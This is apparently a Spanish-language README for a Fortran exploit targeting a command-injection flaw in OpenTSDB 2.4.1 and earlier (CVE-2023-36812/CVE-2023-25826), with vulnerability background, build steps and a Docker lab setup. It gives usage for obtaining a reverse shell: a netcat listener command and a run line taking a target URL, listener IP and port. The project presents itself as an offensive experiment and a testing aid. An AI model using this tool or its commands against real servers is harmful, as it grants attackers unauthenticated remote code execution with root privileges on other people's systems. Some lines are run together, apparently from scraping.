Un exploit para OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) escrito en Fortran
Un exploit para OpenTSDB <= 2.4.1 con inyección de comandos (CVE-2023-36812/CVE-2023-25826) escrito en Fortran
Este es un exploit para una vulnerabilidad de inyección de comandos en OpenTSDB versiones 2.4.1 y anteriores (CVE-2023-36812/CVE-2023-25826). El exploit está escrito en Fortran moderno y utiliza la biblioteca oficial http-client de Fortran creada a principios de este año.
OpenTSDB es una base de datos de series temporales de código abierto escrita en Java. En 2020, se descubrió una vulnerabilidad de inyección de comandos en las versiones 2.4.0 y anteriores que podía explotarse para obtener ejecución remota de código en el host con privilegios de root. Dado que OpenTSDB no admite autenticación, esta vulnerabilidad, rastreada como CVE-2020-35476, podía ser explotada por cualquier persona con acceso a la interfaz web de OpenTSDB. El problema se solucionó en la versión 2.4.1.
Este año se descubrió que el parche para CVE-2020-35476 estaba incompleto, y la inyección de comandos sigue siendo posible en OpenTSDB 2.4.1 a través de varios vectores.
Detalles:
La versión corta es que vi esta conversación:

La idea de escribir un exploit en el lenguaje de programación utilizado para llevar personas a la luna me intrigó tanto que tuve que explorarlo yo mismo. Este exploit es el resultado de ese experimento. A la pregunta de si tuvo éxito, solo puedo responder con estas sabias, aunque malditas, palabras que unen a todos los desarrolladores en sangre: Funciona en mi máquina. ¯\(ツ)/¯
En cualquier caso, mis principales conclusiones de este proyecto son:
En general, no es fácil imaginar que este lenguaje realmente gane relevancia en la seguridad ofensiva, aunque solo sea porque hay tantas alternativas sólidas y modernas para cualquier caso de uso imaginable (Python, Go, Rust, Ruby, C# por nombrar solo algunas). Pero si te gusta experimentar con diferentes lenguajes de programación y no te importa encapsular tus cadenas en llamadas trim() todo el tiempo (POR FAVOR, TOMA NOTA DE ESTO, TE AHORRARÁ MUCHO SUFRIMIENTO), Fortran definitivamente vale la pena echarle un vistazo. Sin ironía, ahora estoy apoyando este lenguaje y podría retomarlo si continúan agregando soporte a la biblioteca http-client, especialmente si en algún momento agregan una biblioteca http-server.
TL;DR: La biblioteca http-client de Fortran hace brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /ruta/hacia/opentsdb_key_cmd_injection/
fpm (asegúrate de instalarlo primero. Consulta las instrucciones de instalación en la siguiente sección)# /ruta/hacia/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Opciones:
-t - URL OBJETIVO: la URL base de OpenTSDB (obligatorio)-l - LHOST: la IP del sistema donde estás ejecutando un listener (obligatorio)-p - LPORT: el puerto del listener (obligatorio)-v - VERBOSE: habilita la impresión detallada (opcional)gfortran. En sistemas basados en Debian se puede hacer mediante:apt install gfortran
chmod +x /<ruta>/hacia/fpm
Asegúrate de tener git instalado en tu sistema antes de instalar fpm.
Para una instalación manual, puedes seguir las instrucciones oficiales de instalación aquí. Sin embargo, esto puede ser molesto, por lo que recomendaría usar Docker en su lugar.
Para la versión 2.4.0, puedes usar la imagen Docker de vulnhub y seguir las instrucciones de instalación aquí. Esa imagen fue creada para CVE-2020-35476, una vulnerabilidad anterior en OpenTSDB hasta la versión 2.4.0.
Para la versión 2.4.1 y probablemente cualquier otra versión, podrías aprovechar la imagen de vulhub para OpenTSDB 2.4.0 y editarla para instalar la versión que desees. Seguí este enfoque para 2.4.1 y funcionó muy bien.
Dockerfile y docker-entrypoint.sh de vulhub para OpenTSDB 2.4.0 desde aquí y guárdalos en un directorio dedicado.Dockerfile, reemplaza todas las instancias de 2.4.0 con la versión deseada, por ejemplo 2.4.1.docker-entrypoint.sh.docker-compose.yml con el siguiente contenido:version: '2'
services:
opentsdb:
build: ./ruta-hacia-tu-directorio-dockerfile
ports:
- "4242:4242"
Yo usé esta estructura de archivos:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file